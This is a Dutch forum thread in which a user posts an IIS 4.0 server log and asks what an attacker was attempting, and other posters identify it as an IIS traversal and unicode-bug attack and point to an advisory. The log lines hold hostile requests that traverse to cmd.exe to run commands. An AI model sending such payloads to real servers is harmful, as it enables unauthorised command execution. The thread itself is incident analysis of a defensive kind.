[BC3] Merkwaardige IIS4 log

[Verwijderd]

Ik bekeek net even mijn log van mijn IIS 4.0 server en las ik dat iemand iets geks probeerde te doen. Weet iemand wat hij probeerd te doen, en of het hem gelukt is
(IP adressen zijn weg gehaald)

--====Knip/Plak Logfile====--

code:

, -, 7-5-01, 17:58:06, W3SVC1, ZON,, 140, 66, 2015, 200, 0, GET, /scripts/../../winnt/system32/cmd.exe, /c+dir,
, -, 7-5-01, 17:58:06, W3SVC1, ZON,, 20, 66, 2015, 200, 0, GET, /scripts/..\../winnt/system32/cmd.exe, /c+dir,
, -, 7-5-01, 17:58:06, W3SVC1, ZON,, 30, 66, 2015, 200, 0, GET, /scripts/..\../winnt/system32/cmd.exe, /c+dir,
, -, 7-5-01, 17:58:06, W3SVC1, ZON,, 40, 66, 2015, 200, 0, GET, /scripts/../../winnt/system32/cmd.exe, /c+dir,
, -, 7-5-01, 17:58:06, W3SVC1, ZON,, 30, 66, 2015, 200, 0, GET, /scripts/../../winnt/system32/cmd.exe, /c+dir,
, -, 7-5-01, 17:58:08, W3SVC1, ZON,, 30, 66, 2015, 200, 0, GET, /scripts/..\../winnt/system32/cmd.exe, /c+dir,
, -, 7-5-01, 17:58:08, W3SVC1, ZON,, 0, 66, 0, 500, 123, GET, /scripts/..Á../winnt/system32/cmd.exe, /c+dir,
, -, 7-5-01, 17:58:08, W3SVC1, ZON,, 20, 66, 2015, 200, 0, GET, /scripts/..\../winnt/system32/cmd.exe, /c+dir,
, -, 7-5-01, 17:58:08, W3SVC1, ZON,, 20, 66, 634, 404, 3, GET, /scripts/..o../winnt/system32/cmd.exe, /c+dir,
, -, 7-5-01, 17:58:08, W3SVC1, ZON,, 30, 69, 2015, 200, 0, GET, /scripts/../../winnt/system32/cmd.exe, /c+dir,
, -, 7-5-01, 17:58:10, W3SVC1, ZON,, 10, 72, 634, 404, 3, GET, /scripts/..ð??¯../winnt/system32/cmd.exe, /c+dir,

[pierce]

Iemand heeft geprobeerd om via een fout in IIS 4 jou systeem te hacken!
Zie http://www.eeye.com/html/Research/Advisories/AD20001003.html voor meer info.

[McMiGHtY]

Misschien verstandig om je cmd.exe en je command.exe te renamen in iets anders?

[Rob]

Probeer het zelf eens wat hij geprobeerd heeft, dan weet je of het gelukt is

[BC3 Victim]

lijkt een beetje op mislukte unicode bug "hack" poging...

[Verwijderd]

Bedankt voor jullie hulp ...